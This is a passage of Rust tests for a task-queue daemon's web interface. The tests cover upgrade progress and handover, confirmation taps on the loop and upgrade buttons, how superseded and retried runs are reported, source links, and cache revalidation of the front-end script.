12964            .expect("write magi.toml");
12965        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12966
12967        let health = fx.get("/api/health").await.json();
12968        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12969        assert_eq!(
12970            health["update"]["available"], false,
12971            "checking is off, which reads as \"unknown\", not \"none\""
12972        );
12973        assert!(health["update"]["to"].is_null());
12974        assert!(
12975            health["upgrade"].is_null(),
12976            "nothing has ever asked this deck to upgrade"
12977        );
12978    }
12979
12980    #[tokio::test]
12981    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12982        let fx = Fixture::start().await;
12983        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12984
12985        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12986        progress.parked_run = Some("20260905-000000-cd51".to_owned());
12987        progress.advance(crate::updater::Stage::Parking);
12988        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12989
12990        let health = fx.get("/api/health").await.json();
12991        assert_eq!(health["upgrade"]["stage"], "parking");
12992        assert_eq!(health["upgrade"]["from"], "0.5.1");
12993        assert_eq!(health["upgrade"]["to"], "0.5.2");
12994        let waiting_on = health["upgrade"]["waiting_on"]
12995            .as_str()
12996            .expect("waiting_on is set while parking a known run");
12997        assert!(waiting_on.contains("cd51"), "{waiting_on}");
12998        assert!(waiting_on.contains("implementing"), "{waiting_on}");
12999    }
13000
13001    #[tokio::test]
13002    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13003        let fx = Fixture::start().await;
13004        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13005        progress.advance(crate::updater::Stage::Done);
13006        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13007
13008        let health = fx.get("/api/health").await.json();
13009        assert_eq!(health["upgrade"]["stage"], "done");
13010        assert!(
13011            health["upgrade"]["waiting_on"].is_null(),
13012            "nothing to wait on once it is done"
13013        );
13014    }
13015
13016    #[tokio::test]
13017    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13018        let home = TempDir::new().expect("temp home");
13019        let runs = home.path().join("runs");
13020        std::fs::create_dir_all(&runs).expect("runs dir");
13021        let ui = Ui::new(
13022            Queue::at(home.path().join("queue")),
13023            Questions::at(home.path().join("questions")),
13024            Talks::at(home.path().join("talks")),
13025            runs,
13026            home.path().to_path_buf(),
13027            PathBuf::from("/repo/magi"),
13028        )
13029        .with_launch(launch_idle);
13030        let looping = ui.looping();
13031        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13032            .await
13033            .expect("bind loopback");
13034        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13035
13036        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13037        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13038
13039        hand_over(home.path(), &looping, served, |_| Ok(()))
13040            .await
13041            .expect("hand over");
13042
13043        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13044        assert_eq!(
13045            after.stage,
13046            crate::updater::Stage::Restarting,
13047            "hand_over owns the record through parking and up to restarting; \
13048             the successor is what finishes it"
13049        );
13050    }
13051
13052    fn idle_ui(home: &TempDir) -> Ui {
13053        let runs = home.path().join("runs");
13054        std::fs::create_dir_all(&runs).expect("runs dir");
13055        Ui::new(
13056            Queue::at(home.path().join("queue")),
13057            Questions::at(home.path().join("questions")),
13058            Talks::at(home.path().join("talks")),
13059            runs,
13060            home.path().to_path_buf(),
13061            PathBuf::from("/repo/magi"),
13062        )
13063        .with_launch(launch_idle)
13064    }
13065
13066    /// Run `hand_over` against `ui` and return what the successor was told.
13067    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13068        let looping = ui.looping();
13069        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13070            .await
13071            .expect("bind loopback");
13072        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13073        let told = std::sync::Mutex::new(None);
13074        hand_over(home.path(), &looping, served, |resume| {
13075            *told.lock().unwrap() = Some(resume);
13076            Ok(())
13077        })
13078        .await
13079        .expect("hand over");
13080        told.into_inner().unwrap().expect("successor was started")
13081    }
13082
13083    #[tokio::test]
13084    async fn a_running_loop_is_resumed_by_the_successor() {
13085        let home = TempDir::new().expect("temp home");
13086        let ui = idle_ui(&home);
13087        ui.start_loop(None).expect("start");
13088        ui.park_for_upgrade().expect("park");
13089        // The idle loop sees the park and ends before the handover fires.
13090        for _ in 0..500 {
13091            if !ui.loop_view(None).running {
13092                break;
13093            }
13094            tokio::time::sleep(Duration::from_millis(2)).await;
13095        }
13096        assert!(handed_over(&home, ui).await, "a running loop must resume");
13097
13098        let successor = idle_ui(&home);
13099        assert!(!successor.loop_view(None).running);
13100        assert!(successor.resume_after_handover(true));
13101        assert!(successor.loop_view(None).running);
13102        successor.stop_loop(None, false).expect("stop");
13103    }
13104
13105    #[tokio::test]
13106    async fn a_second_upgrade_request_keeps_the_resume_intent() {
13107        let home = TempDir::new().expect("temp home");
13108        let ui = idle_ui(&home);
13109        ui.start_loop(None).expect("start");
13110        ui.park_for_upgrade().expect("first park");
13111        ui.park_for_upgrade().expect("second park");
13112        assert!(handed_over(&home, ui).await);
13113    }
13114
13115    #[tokio::test]
13116    async fn a_stop_during_the_handover_wait_is_honoured() {
13117        let home = TempDir::new().expect("temp home");
13118        let ui = idle_ui(&home);
13119        ui.start_loop(None).expect("start");
13120        ui.park_for_upgrade().expect("park");
13121        ui.stop_loop(None, false).expect("stop");
13122        assert!(!handed_over(&home, ui).await);
13123    }
13124
13125    #[tokio::test]
13126    async fn an_idle_loop_stays_stopped_across_the_handover() {
13127        let home = TempDir::new().expect("temp home");
13128        let ui = idle_ui(&home);
13129        ui.park_for_upgrade().expect("park");
13130        assert!(!handed_over(&home, ui).await);
13131
13132        let successor = idle_ui(&home);
13133        assert!(!successor.resume_after_handover(false));
13134        assert!(!successor.loop_view(None).running);
13135    }
13136
13137    #[tokio::test]
13138    async fn a_loop_the_operator_stopped_is_not_resumed() {
13139        let home = TempDir::new().expect("temp home");
13140        let ui = idle_ui(&home);
13141        ui.start_loop(None).expect("start");
13142        ui.stop_loop(None, false).expect("stop");
13143        ui.park_for_upgrade().expect("park");
13144        assert!(!handed_over(&home, ui).await);
13145    }
13146
13147    #[test]
13148    fn only_an_explicit_one_requests_a_resume() {
13149        assert!(!resume_requested(None));
13150        assert!(!resume_requested(Some("0".into())));
13151        assert!(!resume_requested(Some("".into())));
13152        assert!(resume_requested(Some("1".into())));
13153    }
13154
13155    #[test]
13156    fn the_upgrade_button_arms_before_it_restarts_anything() {
13157        // It ends the process the operator is talking to, and a phone in a
13158        // pocket taps things. One tap arms, the second commits.
13159        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13160        assert!(APP_JS.contains("Replace the binary and restart?"));
13161        assert!(APP_JS.contains("function confirmed("));
13162        // Hidden when the loop is somebody else's, matching the 409 above -
13163        // and hidden with nothing to install, matching the 200 "already
13164        // current" branch: an operator on the newest build must not be
13165        // offered a restart that would only park a run for nothing.
13166        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13167        // A park waits for the node in flight, up to an hour for an implement
13168        // wave. Leaving the button reading "Upgrading…" for that long is the
13169        // same mistake as an error rendered off screen: it looks wedged.
13170        assert!(
13171            APP_JS.contains("Parking, then restarting"),
13172            "the button says what it is waiting for"
13173        );
13174        // And nothing to install must give the button back rather than
13175        // pretending a restart is coming.
13176        assert!(APP_JS.contains("if (!out.to)"));
13177    }
13178
13179    #[test]
13180    fn stopping_the_loop_arms_but_starting_does_not() {
13181        // A stray tap must not leave the queue stopped overnight, so a stop is
13182        // two taps through the same helper the upgrade uses; a start stays one.
13183        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13184        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13185        assert!(APP_JS.contains("confirmed(button, question)"));
13186        // The label put back on timeout is the one saved when arming, not a
13187        // hard-coded upgrade caption that would rename the stop button.
13188        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
13189        assert!(APP_JS.contains("const label = btn.textContent;"));
13190        assert!(!APP_JS.contains("Neither direction is guarded"));
13191    }
13192
13193    #[test]
13194    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13195        assert!(
13196            APP_JS.contains("state.health.version"),
13197            "the operator wants to know what is running even with nothing newer"
13198        );
13199        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13200    }
13201
13202    #[test]
13203    fn the_upgrade_button_names_its_destination() {
13204        assert!(
13205            APP_JS.contains("`Update to ${update.to}`"),
13206            "pressing the button should not be a surprise about what it moves to"
13207        );
13208    }
13209
13210    #[test]
13211    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13212        for stage in ["downloading", "replaced", "parking", "restarting"] {
13213            assert!(
13214                APP_JS.contains(&format!("\"{stage}\"")),
13215                "the phone must be able to tell {stage} apart from the others"
13216            );
13217        }
13218        assert!(APP_JS.contains(".waiting_on"));
13219        // What replaced the bare "Cannot reach magi: Failed to fetch": a
13220        // fetch failing while an upgrade is in flight is not an error, it is
13221        // the sub-second gap `bind_waiting` covers, and it must not be
13222        // reported as one.
13223        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13224        assert!(APP_JS.contains("reconnects on its own"));
13225    }
13226
13227    #[test]
13228    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13229        // `Stage::Failed` is terminal on the server and nothing clears it on
13230        // its own - not a fresh start, not time passing - so a full-strip
13231        // takeover for it (the way the busy stages take the strip over,
13232        // correctly, because those are transient) would have hidden
13233        // start/stop/park behind an upgrade notice with no way back short of
13234        // a person editing `upgrade.json` by hand or a later release
13235        // happening to succeed. The failure must instead ride along as a note
13236        // next to whatever control the loop's own state already offers.
13237        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13238            ..APP_JS.find("function upgrade(").expect("upgrade")];
13239        assert!(
13240            !body.contains(
13241                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
13242            ),
13243            "a failed upgrade must not take the whole strip over the way it used to"
13244        );
13245        assert!(
13246            body.contains("upgradeFailNote"),
13247            "the failure has to reach the loop's own note instead"
13248        );
13249        // `quiet` and `control` are the only two places `loop-why` is set from
13250        // this function's own state; both must carry the note through, or a
13251        // future edit to either one would silently drop it again.
13252        assert_eq!(
13253            body.matches("upgradeFailNote].filter(Boolean).join")
13254                .count(),
13255            2,
13256            "both loop-why writers (quiet and control) must fold the note in"
13257        );
13258    }
13259
13260    #[test]
13261    fn an_overdue_upgrade_eventually_asks_for_a_human() {
13262        // The ceiling has to clear a full hour-long park with room to spare,
13263        // or an ordinary implement wave would be reported as a stuck upgrade.
13264        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13265        assert!(APP_JS.contains("function upgradeOverdue("));
13266    }
13267
13268    #[test]
13269    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13270        assert!(
13271            APP_JS.contains("Updated to ${upgradeInfo.to"),
13272            "the operator who asked for the restart wants to know it worked"
13273        );
13274    }
13275
13276    #[test]
13277    fn an_error_is_visible_from_where_the_button_is() {
13278        // The alert used to sit in the flow under the header. On a phone
13279        // scrolled 13 500 px down to a run's action sheet that is off screen,
13280        // so tapping Resume and being told "the loop is running run b455
13281        // right now" looked exactly like a button that did nothing.
13282        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13283            ..APP_CSS.find(".alert-text").expect(".alert-text")];
13284        assert!(
13285            alert.contains("position: fixed"),
13286            "an error about the thing under your thumb has to be visible from \
13287             where your thumb is: {alert}"
13288        );
13289        assert!(
13290            alert.contains("z-index: 25"),
13291            "above the dock (20) and the run-actions FAB (15), so neither \
13292             buries it: {alert}"
13293        );
13294        assert!(
13295            alert.contains("var(--tap)"),
13296            "and clear of the dock and the home indicator: {alert}"
13297        );
13298        // The FAB sits at the same height on the right. An error that covered
13299        // it would hide the button the operator reaches for next.
13300        assert!(
13301            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13302            "the FAB's column stays free: {alert}"
13303        );
13304    }
13305
13306    #[tokio::test]
13307    async fn an_older_attempt_says_what_replaced_it() {
13308        let fx = Fixture::start().await;
13309        let q = fx.queue();
13310        let runs = fx.runs();
13311        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13312        write_run(&runs, first, RunStatus::Stalled);
13313        write_run(&runs, second, RunStatus::Blocked);
13314
13315        let mut t = Task::new(
13316            "one task".to_owned(),
13317            "do it".to_owned(),
13318            PathBuf::from("/repo"),
13319            Source::Human,
13320        );
13321        t.runs = vec![first.to_owned(), second.to_owned()];
13322        q.put(&mut t).expect("put");
13323
13324        // Two cards with the same title and no hint which is which was the
13325        // question: "why are there two of the same, one stalled and one
13326        // blocked?" The older one now names its replacement.
13327        let rows = fx.get("/api/runs").await.json();
13328        let by = |short: &str| -> Value {
13329            rows.as_array()
13330                .unwrap()
13331                .iter()
13332                .find(|r| r["short"] == short)
13333                .cloned()
13334                .unwrap_or(Value::Null)
13335        };
13336        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13337        assert!(
13338            by("bbbb")["superseded_by"].is_null(),
13339            "the latest attempt is not superseded by anything"
13340        );
13341        // Front end: the note has to be rendered, not just carried.
13342        assert!(APP_JS.contains("run.superseded_by"));
13343        assert!(APP_JS.contains("Superseded by"));
13344    }
13345
13346    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13347        let mut t = Task::new(
13348            "one task".to_owned(),
13349            "do it".to_owned(),
13350            PathBuf::from("/repo"),
13351            Source::Human,
13352        );
13353        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13354        t.status = status;
13355        t
13356    }
13357
13358    #[test]
13359    fn source_link_picks_the_page_that_filed_the_task() {
13360        let agent = |node: &str| Source::Agent {
13361            run: "20260904-014455-ab12".to_owned(),
13362            node: node.to_owned(),
13363        };
13364        let chat = source_link(&agent("chat")).expect("chat link");
13365        assert_eq!(chat.kind, "chat");
13366        assert_eq!(chat.id, "20260904-014455-ab12");
13367        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13368        let run = source_link(&agent("implement")).expect("run link");
13369        assert_eq!(
13370            (run.kind, run.href.as_str()),
13371            ("run", "#/runs/20260904-014455-ab12")
13372        );
13373        assert_eq!(source_link(&Source::Human), None);
13374        assert_eq!(
13375            source_link(&Source::Issue {
13376                number: 3,
13377                repo: "o/r".to_owned()
13378            }),
13379            None
13380        );
13381        let odd = source_link(&Source::Agent {
13382            run: "a b/c".to_owned(),
13383            node: "chat".to_owned(),
13384        })
13385        .expect("link");
13386        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13387    }
13388
13389    #[test]
13390    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13391        assert!(
13392            !APP_JS.contains("src.node === \"chat\""),
13393            "inline href rule is back"
13394        );
13395        assert!(
13396            APP_JS.matches("sourceLinkOf(").count() >= 4,
13397            "helper must serve every page"
13398        );
13399        assert!(
13400            APP_JS.matches("openChatLink(").count() >= 3,
13401            "the run page still needs its explicit chat link"
13402        );
13403        assert!(
13404            !APP_JS.contains("const openChat = el("),
13405            "the Queue card duplicates its source label link again"
13406        );
13407        assert!(
13408            APP_JS.contains("metaKids.push(link ? el(\"a\""),
13409            "the task page must link a chat source label too"
13410        );
13411    }
13412
13413    #[test]
13414    fn task_ref_carries_the_source_link_for_a_chat_task() {
13415        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13416        t.source = Source::Agent {
13417            run: "20260904-014455-ab12".to_owned(),
13418            node: "chat".to_owned(),
13419        };
13420        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13421        let v = serde_json::to_value(&out).expect("json");
13422        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13423        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13424        assert_eq!(v["source_label"], t.source.label());
13425
13426        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13427        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13428            .expect("json");
13429        assert!(v["source_link"].is_null(), "{v}");
13430    }
13431
13432    #[test]
13433    fn task_view_serializes_source_link() {
13434        let mut t = Task::new(
13435            "t".to_owned(),
13436            "t".to_owned(),
13437            PathBuf::from("/repo"),
13438            Source::Agent {
13439                run: "20260901-000000-aaaa".to_owned(),
13440                node: "implement".to_owned(),
13441            },
13442        );
13443        t.runs.clear();
13444        let v = serde_json::to_value(TaskView::from(t)).expect("json");
13445        assert_eq!(v["source_link"]["kind"], "run", "{v}");
13446        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13447    }
13448
13449    #[tokio::test]
13450    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13451        let fx = Fixture::start().await;
13452        let runs = fx.runs();
13453        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13454        write_run(&runs, old, RunStatus::Blocked);
13455        write_run(&runs, new, RunStatus::Merged);
13456        let mut t = outcome_task(&[old, new], TaskStatus::Done);
13457        fx.queue().put(&mut t).expect("put");
13458
13459        let view = fx.get(&format!("/api/runs/{old}")).await.json();
13460        let task = &view["task"];
13461        assert_eq!(task["status"], "done");
13462        assert_eq!(task["is_latest"], false);
13463        assert_eq!(task["latest"]["short"], "bbbb");
13464        assert_eq!(task["finished_by"]["id"], new);
13465        assert_eq!(task["finished_by"]["outcome"], "merged");
13466        assert_eq!(task["closed_by_hand"], false);
13467        assert_eq!(view["status"], "blocked", "the run keeps its own status");
13468        assert!(APP_JS.contains("finished_by"));
13469        assert!(APP_JS.contains("superseded by run"));
13470    }
13471
13472    #[tokio::test]
13473    async fn the_latest_run_reports_a_held_task_without_a_successor() {
13474        let fx = Fixture::start().await;
13475        let runs = fx.runs();
13476        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13477        write_run(&runs, old, RunStatus::Stalled);
13478        write_run(&runs, new, RunStatus::Blocked);
13479        let mut t = outcome_task(&[old, new], TaskStatus::Held);
13480        fx.queue().put(&mut t).expect("put");
13481
13482        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13483        assert_eq!(task["status"], "held");
13484        assert_eq!(task["is_latest"], true);
13485        assert!(task["latest"].is_null());
13486        assert!(task["finished_by"].is_null());
13487        assert_eq!(task["closed_by_hand"], false);
13488    }
13489
13490    #[tokio::test]
13491    async fn a_direct_run_has_no_task_outcome() {
13492        let fx = Fixture::start().await;
13493        let runs = fx.runs();
13494        let id = "20260901-000000-aaaa";
13495        write_run(&runs, id, RunStatus::Blocked);
13496        let view = fx.get(&format!("/api/runs/{id}")).await.json();
13497        assert!(view["task"].is_null());
13498    }
13499
13500    #[test]
13501    fn task_outcome_does_not_guess_a_finishing_run() {
13502        let a = "20260901-000000-aaaa";
13503        let b = "20260901-000000-bbbb";
13504        let c = "20260901-000000-cccc";
13505        let dir = tempfile::tempdir().expect("tempdir");
13506        write_run(dir.path(), a, RunStatus::Blocked);
13507        write_run(dir.path(), b, RunStatus::VerifiedNoop);
13508        // `c` has no record: unreadable.
13509        let read = |id: &str| read_run(dir.path(), id).ok();
13510        // Neither a blocked run nor a no-op finished the task; the newest run is
13511        // unreadable and still named.
13512        let t = outcome_task(&[a, b, c], TaskStatus::Done);
13513        let out = task_outcome(&t, a, 3, read);
13514        assert!(out.finished_by.is_none());
13515        assert!(out.closed_by_hand);
13516        let latest = out.latest.expect("latest");
13517        assert_eq!(latest.id, c);
13518        assert_eq!(latest.status, None);
13519        assert_eq!(latest.outcome, "record unreadable");
13520
13521        // A Ready run settles the task as done, so it is named as the finisher.
13522        write_run(dir.path(), c, RunStatus::Ready);
13523        let t = outcome_task(&[a, c], TaskStatus::Done);
13524        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13525        assert_eq!(out.finished_by.expect("finisher").id, c);
13526        assert!(!out.closed_by_hand);
13527
13528        // A resumed run id repeats: it is still the latest by id.
13529        let t = outcome_task(&[a, b, a], TaskStatus::Held);
13530        assert!(task_outcome(&t, a, 3, read).is_latest);
13531    }
13532
13533    #[tokio::test]
13534    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13535        // The list route has known this since the card fix above; the detail
13536        // route — what an operator actually opens from a notification about
13537        // a blocked run — did not, and went on showing a bare red BLOCKED
13538        // chip for a run a retry had already finished.
13539        let fx = Fixture::start().await;
13540        let q = fx.queue();
13541        let runs = fx.runs();
13542        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13543        write_run(&runs, first, RunStatus::Blocked);
13544        write_run(&runs, second, RunStatus::Merged);
13545
13546        let mut t = Task::new(
13547            "one task".to_owned(),
13548            "do it".to_owned(),
13549            PathBuf::from("/repo"),
13550            Source::Human,
13551        );
13552        t.runs = vec![first.to_owned(), second.to_owned()];
13553        q.put(&mut t).expect("put");
13554
13555        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13556        assert_eq!(earlier["superseded_by"], "dddd");
13557        assert_eq!(earlier["latest_attempt"]["id"], second);
13558        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13559        assert_eq!(
13560            earlier["latest_attempt"]["resolved"], true,
13561            "the run that replaced it landed, so this one reads as settled"
13562        );
13563
13564        let later = fx.get(&format!("/api/runs/{second}")).await.json();
13565        assert!(
13566            later["superseded_by"].is_null(),
13567            "the latest attempt is not superseded by anything"
13568        );
13569        assert!(
13570            later["latest_attempt"].is_null(),
13571            "the latest attempt has no later attempt of its own"
13572        );
13573
13574        // Front end: the detail page has to read the field this route now
13575        // carries, downgrade the chip, and link to the run that replaced it —
13576        // not just repeat the list card's own logic under a different name.
13577        // The link is built off `latest_attempt.id`, the server-resolved
13578        // full id, never a bare short string a client would have to guess a
13579        // full run from.
13580        assert!(APP_JS.contains("run.latest_attempt"));
13581        assert!(APP_JS.contains("data-superseded"));
13582        assert!(APP_JS.contains("#/runs/${latest.id}"));
13583    }
13584
13585    #[tokio::test]
13586    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13587        // A -> B -> C, all Blocked except the last. A's immediate successor
13588        // (superseded_by) is B, which is itself unresolved; what an operator
13589        // opening A's page actually needs is where the task's story stands
13590        // *now* - C, not B - without depending on whether C happens to be in
13591        // whatever page of /api/runs the client last cached.
13592        let fx = Fixture::start().await;
13593        let q = fx.queue();
13594        let runs = fx.runs();
13595        let (a, b, c) = (
13596            "20260901-000000-aaaa",
13597            "20260901-000000-bbbb",
13598            "20260901-000000-cccc",
13599        );
13600        write_run(&runs, a, RunStatus::Blocked);
13601        write_run(&runs, b, RunStatus::Blocked);
13602        write_run(&runs, c, RunStatus::Merged);
13603
13604        let mut t = Task::new(
13605            "retried twice".to_owned(),
13606            "do it".to_owned(),
13607            PathBuf::from("/repo"),
13608            Source::Human,
13609        );
13610        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13611        q.put(&mut t).expect("put");
13612
13613        let view = fx.get(&format!("/api/runs/{a}")).await.json();
13614        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13615        assert_eq!(
13616            view["latest_attempt"]["id"], c,
13617            "the chain's current head, not the intermediate Blocked retry"
13618        );
13619        assert_eq!(view["latest_attempt"]["resolved"], true);
13620
13621        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13622        assert_eq!(mid["latest_attempt"]["id"], c);
13623        assert_eq!(mid["latest_attempt"]["resolved"], true);
13624    }
13625
13626    #[tokio::test]
13627    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13628        let fx = Fixture::start().await;
13629        let q = fx.queue();
13630        let runs = fx.runs();
13631
13632        // Still Blocked: the task is not resolved, so the older run must not
13633        // read as settled either.
13634        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13635        write_run(&runs, still_blocked_a, RunStatus::Blocked);
13636        write_run(&runs, still_blocked_b, RunStatus::Blocked);
13637        let mut t1 = Task::new(
13638            "still stuck".to_owned(),
13639            "do it".to_owned(),
13640            PathBuf::from("/repo"),
13641            Source::Human,
13642        );
13643        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13644        q.put(&mut t1).expect("put");
13645        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13646        assert_eq!(view1["latest_attempt"]["resolved"], false);
13647        assert_eq!(view1["latest_attempt"]["status"], "blocked");
13648        assert_eq!(view1["latest_attempt"]["done"], true);
13649
13650        // Still running: the successor exists and must be reported as such.
13651        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13652        write_run(&runs, run_a, RunStatus::Blocked);
13653        write_run(&runs, run_b, RunStatus::Implementing);
13654        let mut t3 = Task::new(
13655            "retrying".to_owned(),
13656            "do it".to_owned(),
13657            PathBuf::from("/repo"),
13658            Source::Human,
13659        );
13660        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13661        q.put(&mut t3).expect("put");
13662        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13663        assert_eq!(view3["latest_attempt"]["id"], run_b);
13664        assert_eq!(view3["latest_attempt"]["resolved"], false);
13665        assert_eq!(view3["latest_attempt"]["done"], false);
13666
13667        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
13668        // to check - not a confirmed finish, so this must not read as
13669        // resolved either, even though the run is done in the sense that
13670        // nothing is still running.
13671        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13672        write_run(&runs, noop_a, RunStatus::Blocked);
13673        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13674        let mut t2 = Task::new(
13675            "claims done".to_owned(),
13676            "do it".to_owned(),
13677            PathBuf::from("/repo"),
13678            Source::Human,
13679        );
13680        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13681        q.put(&mut t2).expect("put");
13682        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13683        assert_eq!(
13684            view2["latest_attempt"]["resolved"], false,
13685            "an unverified no-op claim must not read as a confirmed finish"
13686        );
13687
13688        // Front end: an unresolved successor must not carry the "finished
13689        // this work" note or the muted chip treatment.
13690        assert!(APP_JS.contains("latest.resolved"));
13691        // ...but the link to it shows as soon as it exists, labelled by state
13692        // and without the "finished" wording or the muted chip.
13693        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13694        assert!(APP_JS.contains("Latest attempt: "));
13695        assert!(APP_JS.contains("in flight"));
13696        assert!(APP_JS.contains("not resolved"));
13697    }
13698
13699    #[tokio::test]
13700    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13701        let fx = Fixture::start().await;
13702        // No cache header at all meant browsers invented their own policy,
13703        // and one did: a phone went on showing "Candidates must be folded
13704        // before deleting. Run `magi fold` first." - deleted two releases
13705        // earlier - from a deck that no longer contained the sentence. The
13706        // button it named was right there, and unreachable.
13707        let js = fx.get("/app.js").await;
13708        assert_eq!(js.status, 200);
13709        let tag = js
13710            .header("etag")
13711            .expect("an etag to revalidate against")
13712            .to_owned();
13713        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13714        assert_eq!(
13715            js.header("cache-control"),
13716            Some("no-cache, must-revalidate"),
13717            "the phone has to ask every time"
13718        );
13719
13720        // And the asking has to be cheap, or `must-revalidate` just means
13721        // "send the whole interface on every load".
13722        let again = fx
13723            .get_with("/app.js", &[("if-none-match", tag.as_str())])
13724            .await;
13725        assert_eq!(
13726            again.status, 304,
13727            "a deck it already has costs one round trip"
13728        );
13729        assert!(again.body.is_empty(), "304 carries no body");
13730
13731        // A weakened tag from a proxy still matches; a different build does
13732        // not, which is the case that has to deliver the new interface.
13733        let weak = fx
13734            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13735            .await;
13736        assert_eq!(weak.status, 304);
13737        let stale = fx
13738            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13739            .await;
13740        assert_eq!(stale.status, 200, "an older build must be replaced");
13741        assert!(stale.body.contains("renderRunActions"));
13742    }
13743
13744    #[test]
13745    fn the_task_detail_has_an_actions_fab_and_sheet() {
13746        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13747        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13748        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13749        // Shown only on the task route, closed everywhere else.
13750        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13751        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13752        // Refreshed whenever the detail redraws, including the loading state.
13753        assert!(APP_JS.contains("renderTaskActions(task);"));
13754        assert!(APP_JS.contains("renderTaskActions(null);"));
13755        // Same renderers and routes as the Queue card, no new endpoint.
13756        let sheet = APP_JS
13757            .find("function renderTaskActions")
13758            .expect("sheet renderer");
13759        let body = &APP_JS[sheet..sheet + 3000];
13760        assert!(body.contains("changePriority("));
13761        assert!(body.contains("openTaskEdit(task)"));
13762        assert!(body.contains("renderTaskHoldBox(host"));
13763        assert!(body.contains("renderTaskDoneBox(host"));
13764        assert!(body.contains("renderTaskDeleteBox(host"));
13765        assert!(APP_JS.contains("API.priority(id)"));
13766        assert!(APP_JS.contains("API.deleteTask(id)"));
13767        // A deleted task sends the operator back to the queue.
13768        assert!(APP_JS.contains("location.hash = \"#/queue\""));
13769        // A refusal is shown inside the sheet.
13770        assert!(APP_JS.contains("$(\"task-actions-error\")"));
13771    }
